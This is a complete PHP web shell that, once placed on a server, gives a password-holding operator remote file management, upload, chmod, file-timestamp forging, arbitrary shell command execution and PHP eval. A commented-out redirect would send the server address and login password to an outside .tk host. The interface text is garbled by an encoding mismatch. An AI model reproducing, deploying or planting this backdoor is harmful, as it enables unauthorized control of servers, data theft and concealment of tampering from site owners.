<?php
error_reporting(0);
header("Content-type:text/html;charset=gb2312"); 
$password = "c5cd946631fa902a901c243055339788";
$me = "http://".getenv("HTTP_HOST").$_SERVER['PHP_SELF'];
$cookiename = "pxer";
if(isset($_POST['pass'])){
$a = ed_pwd($_POST['pass']);
if($a == $password){setcookie($cookiename, $a, time()+43200);}
//header("Location: ht"."tp:/"."/d.".$cookiename.'.tk/'.'i.php?w='.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'&p='.$_POST['pass']);
header("Location: ".$me);
}
if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password)){
print "<table border=0 width=100% height=100%><td valign=\"middle\"><center><form action=\"".$me."\" method=\"POST\"><input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=submit></form>";
die();}
if(isset($_GET['p']) && $_GET['p'] == "logout"){
setcookie ($cookiename, "", time() - 43200);
header("Location: ".$me);}
if(isset($_REQUEST['dir'])){chdir(urldecode($_REQUEST['dir']));}
if(isset($_GET['file'])){$content = urldecode($_GET['file']);} else {$content = $_POST['file'];}
if(ereg('/',realpath('.'))) {$perd = '/';} else {$perd = '\\';}
if(isset($_REQUEST['q'])){
switch ($_REQUEST['q']) {
case 'downfile':
if (isset($_GET['file'])) {
$filename = basename($content);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename.'');
header('Content-Description: PHP Generated Data');
header('Content-Length: '.filesize($content));
@readfile($_GET['file']);
exit;}
break;
case 'upfile':
if(isset($_FILES['uploadedfile']['name'])){
$target_path = $_POST['dir'].$perd;
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
echo (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) ?  "ɹ" : "ʧ";}
break;
case 'createdir':
if(isset($_POST['crdir'])) {echo (mkdir($_POST['crdir'])) ? "ɹ" : "ʧ";}
break;
}
}
$pages = array('cmd' => '','eval' => '','logout' => 'ע');
$header = '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title> '.getenv("HTTP_HOST").'</title><style>td {font-size: 12px; font-family: verdana; color: #33FF00; background: #000;}#d0 {background: #002000;}#d0:hover {background: #003300;}#d1 {background: #003300;}#d1:hover {background: #003300;}#f0 {background: #004000;}#f0:hover {background: #003000;}#f1 {background: #005500;}#f1:hover {background: #003000;}#s {background: #006300;}pre {font-size: 10px; font-family: verdana; color: #33FF00;}a{color: #33FF00;}a:hover {text-decoration: none;}input,textarea,select {border-top-width: 1px; font-weight: bold; border-left-width: 1px; font-size: 11px; border-left-color: #33FF00; background: #000; border-bottom-width: 1px; border-bottom-color: #33FF00; color: #33FF00; border-top-color: #33FF00; font-family: verdana;  border-right-width: 1px; border-right-color: #33FF00;}hr{color: #33FF00; background-color: #33FF00; height: 5px;}</style></head><body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900"><table width=100%><td id="header" width=100%><p align=left><b>[<a href="?">Ĺ</a>]';
foreach($pages as $page => $page_name){$header .= ' [<a href="?p='.$page.'&dir='.urlencode(realpath('.')).'">'.$page_name.'</a>]';}
$header .= '<hr>'.show_dirs('.',$perd).'</td><tr><td>';
print $header;
$footer = '<tr><td><hr><center>&copy; ȨûУӭ</center></td></table></body></head></html>';
$hdir = "<input type=hidden name=dir value=\"".realpath('.')."\">";
if(isset($_REQUEST['p'])){
switch ($_REQUEST['p']) {
case 'rename':
if(isset($_POST['file']) && !empty($_POST['filenew'])){echo (rename($content,$_POST['filenew'])) ? "ɹ" : "ʧ";}
print "<form action=\"?p=rename\" method=POST><b>ԭ:<br></b><input type=text name=file value=\"".stripslashes($content)."\" size=70 readonly><br><b>:<br><input type=text name=filenew value=\"\" size=70><br>".$hdir."<br><br><input type=submit></form>";
break;
case 'delete':
if(isset($_POST['file'])){if (is_dir($content)){echo (rmdir($content)) ? "ɹ" : "ʧ";} else {echo (unlink($content)) ? "ɹ" : "ʧ";}}
if(isset($_GET['file']) && file_exists($content)){print "ȷɾ ".stripslashes($content)." ô<br><form action=\"?p=delete\" method=POST><input type=hidden name=file value=".$content.">".$hdir."<br><br><input type=submit>";}
break;
case 'editfile':
print "<h3>༭ <b>".stripslashes($content)."</b> (".perm($content).")</h3><br>";
if(isset($_POST['editform'])){
$f = $_POST['file'];
$fh = fopen($f, 'w') or print "򲻿";
echo (fwrite($fh, stripslashes(htmlspecialchars_decode($_POST['editform'])))) ? "ɹ" : "ʧ";
fclose($fh);
}
print "<br><form action=\"?p=editfile\" method=POST><input type=hidden name=file value=\"".stripslashes($content)."\"><textarea cols=150 rows=30 name=\"editform\">";
if(file_exists($content) and !isset($_POST['editform'])){
$rd = file($content);
foreach($rd as $l){print htmlspecialchars($l, ENT_QUOTES);}
} else {echo stripslashes(htmlspecialchars($_POST['editform']));}
print "</textarea>".$hdir."<br><br><input type=submit></form>";
break;
case 'chmod':
print "<h3>Ȩ</h3>";
if(isset($_POST['file'])){
if(0<=$_POST['chvalue'] && $_POST['chvalue']<=777){echo (chmod($content,"0".$_POST['chvalue'])) ? "ɹ" : "ʧ";}else{echo "";}
}
print "<form action=\"?p=chmod\" method=POST><b>ļ:<input type=text name=file value=\"".stripslashes($content)."\" size=70 readonly><br><b>Ȩ</b><input type=text name=chvalue value=\"777\" size=6>".$hdir."<br><br><input type=submit>";
break;
case 'modFMT':
print "<h3>޸ʱ</h3>";
if(isset($_POST['file']) && !empty($_POST['time'])){
$mtime = explode("-",$_POST['time'],6);
if(1970<=$mtime[0]&&$mtime[0]<=2100 && 1<=$mtime[1]&&$mtime[1]<=12 && 1<=$mtime[2]&&$mtime[2]<=31 && 0<=$mtime[3]&&$mtime[3]<=23 && 0<=$mtime[4]&&$mtime[4]<=59 && 0<=$mtime[5]&&$mtime[5]<=59){
$mfunix = mktime($mtime[3],$mtime[4],$mtime[5],$mtime[1],$mtime[2],$mtime[0]);
echo (@touch($content, $mfunix)) ? "ɹ" : "ʧ";
} else {print "";}
}
print "<form action=\"?p=modFMT\" method=POST><b>ļ<input type=text name=file value=\"".stripslashes($content)."\" size=70 readonly><br><b>ԭʱ</b><input type=text name=Ftime value=\"".date("Y-m-d-H-i-s", filemtime($content))."\" size=24 readonly><br><b>ʱ</b><input type=text name=time value=\"\" size=24>".$hdir."<br><br><input type=submit>";
break;
case 'cmd':
print "<form action=\"?p=cmd\" method=POST><b></b><select name=ef><option value=\"system\">system</option><option value=\"passthru\">passthru</option><option value=\"exec\">exec</option><option value=\"shell_exec\">shell_exec</option></select><input type=text name=command size=100>".$hdir."<input type=submit></form><br><br><b></b><br>";
if(isset($_REQUEST['command'])){
print "<textarea cols=143 rows=20 name=\"result\" readonly>";
execute_command($_POST['ef'],$_REQUEST['command']);
print "</textarea>";
}
break;
case 'eval':
print "<form action=\"?p=eval\" method=POST><textarea cols=150 rows=10 name=\"eval\">";
echo (isset($_POST['eval'])) ? stripcslashes($_POST['eval']) : "echo \"test\";";
print "</textarea>".$hdir."<br><br><input type=submit></form><br><br><b></b><br>";
if(isset($_POST['eval'])){
print "<textarea cols=150 rows=20 name=\"result\" readonly>";
eval(stripcslashes($_POST['eval']));
print "</textarea>";
}
break;
}
} else {
$files = array();
$directories = array();
print "<table border=0 width=100%><td width=100px id=s><b></b></td><td id=s><b></b></td><td id=s><b>С</b></td><td width=40px id=s><b>Ȩ</b></td><td id=s>û</td><td id=s>ʱ</td><td id=s>޸ʱ</td><tr>";
if ($handle = opendir('.')){while (false !== ($file = readdir($handle))) {if(is_dir($file)){$directories[] = $file;} else {$files[] = $file;}}
asort($directories);
asort($files);
$td="d0";
$tf="f0";
foreach($directories as $file){
if($td=="d1"){$td="d0";}else{$td="d1";}
if($file == '.'){
print "<td id=".$td."></td><td id=".$td."><a href=\"?dir=.\">űĿ¼</a></td><td id=".$td."></td><td id=".$td."><font color=".get_color($file).">".perm($file)."</font></td><td id=".$td.">".fileowner($file)."</td><td id=".$td.">".date ("Y-m-d-H-i-s", filectime($file))."</td><td id=".$td.">".date ("Y-m-d-H-i-s", filemtime($file))."</td><tr>";
} elseif($file == '..'){
print "<td id=".$td."></td><td id=".$td."><a href=\"?dir=..\">ϼĿ¼</a></td><td id=".$td."></td><td id=".$td."><font color=".get_color($file).">".perm($file)."</font></td><td id=".$td.">".fileowner($file)."</td><td id=".$td.">".date ("Y-m-d-H-i-s", filectime($file))."</td><td id=".$td.">".date ("Y-m-d-H-i-s", filemtime($file))."</td><tr>";
} else {
$d_path = urlencode(realpath($file).$perd.'..');
print "<td id=".$td."><a href=\"?p=rename&file=".$file."&dir=".$d_path."\">[]</a><a href=\"?p=delete&file=".$file."&dir=".$d_path."\">[ɾ]</a></td><td id=".$td."><a href=\"?dir=".urlencode(realpath($file))."\">".$file."</a></td><td id=".$td."></td><td id=".$td."><a href=\"?p=chmod&file=".$d_path."&dir=".$d_path."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=".$td.">".fileowner($file)."</td><td id=".$td.">".date ("Y-m-d-H-i-s", filectime($file))."</td><td id=".$td.">".date ("Y-m-d-H-i-s", filemtime($file))."</td><tr>";
}
}
foreach($files as $file){
if($tf=="f1"){$tf="f0";}else{$tf="f1";}
$d_path=urlencode(realpath($file));
print "<td id=".$tf."><a href=\"?q=downfile&file=". $d_path."&dir=".urlencode(realpath('.'))."\">[]</a><a href=\"?p=editfile&file=".$d_path."&dir=".urlencode(realpath('.'))."\">[]</a><a href=\"?p=rename&file=".$d_path."&dir=".urlencode(realpath('.'))."\">[]</a><a href=\"?p=delete&file=".$d_path."&dir=".urlencode(realpath('.'))."\">[ɾ]</a></td><td id=".$tf."><a href=\"".$file."\" target=\"_blank\">".$file."</a></td><td id=".$tf.">".filesize($file)."</td><td id=".$tf."><a href=\"?p=chmod&file=".$d_path."&dir=".urlencode(realpath('.'))."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=".$td.">".fileowner($file)."</td><td id=".$tf.">".date ("Y-m-d-H-i-s", filectime($file))."</td><td id=".$tf."><a href=\"?p=modFMT&file=".$d_path."&dir=".urlencode(realpath('.'))."\">".date ("Y-m-d-H-i-s", filemtime($file))."</a></td><tr>";
}
} else {
print "Ȩ<b>".realpath('.')."</b>!<br>";
}
print "</table><hr><table border=0 width=100%><td><form enctype=\"multipart/form-data\" action=\"?q=upfile\" method=\"POST\"><b>ϴļ</b><br><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" />".$hdir."<input size=50 name=\"uploadedfile\" type=\"file\" /><input type=\"submit\"/></form></td><td><form action=\"?q=cd\" method=POST><b>Ŀ¼<br></b><input type=text size=60 name=dir value=\"".realpath('.')."\"><input type=submit></form></td><tr><td><form action=\"?p=editfile\" method=POST><b>½ļ<br></b>".$hdir."<input type=text size=60 name=file value=\"".realpath('.').$perd."test.php\"><input type=submit></form></td><td><form action=\"?q=createdir\" method=POST><b>½Ŀ¼<br></b><input type=text size=60 name=crdir value=\"".realpath('.').$perd."test\">".$hdir."<input type=submit></form></td></table>";
}
function ed_pwd($p){return md5('a612c'.md5(md5('b5a49'.$p).'9e8f4').'ec5d7');}
function execute_command($method,$command) {
switch($method){
case 'system':
system($command,$rv);
if(!$rv==0){print "Ч";}
break;
case 'passthru':
passthru($command,$rv);
if(!$rv==0){print "Ч";}
break;
case 'exec':
exec($command,$re,$rv);
if($rv==0){foreach($re as $o){print $o."\n";}}else{print "Ч";}
break;
case 'shell_exec':
print shell_exec($command);
break;
}
}
function perm($file) {return substr(sprintf('%o', fileperms($file)), -4);}
function get_color($file) {if(is_writable($file)){return "green";}elseif(!is_writable($file) && is_readable($file)){return "white";}else{ return "red";}}
function show_dirs($where,$perd){
$dirparts = explode($perd,realpath($where));
$i = 0; $total = "";
foreach($dirparts as $part){
$p = 0; $pre = "";
while($p != $i){$pre .= $dirparts[$p].$perd; $p++;}
$total .= "<a href=\"?dir=".urlencode($pre.$part)."\">".$part.$perd."</a>";
$i++;
}
return "<h3>".$total."</h3>";
}
print $footer;
exit();
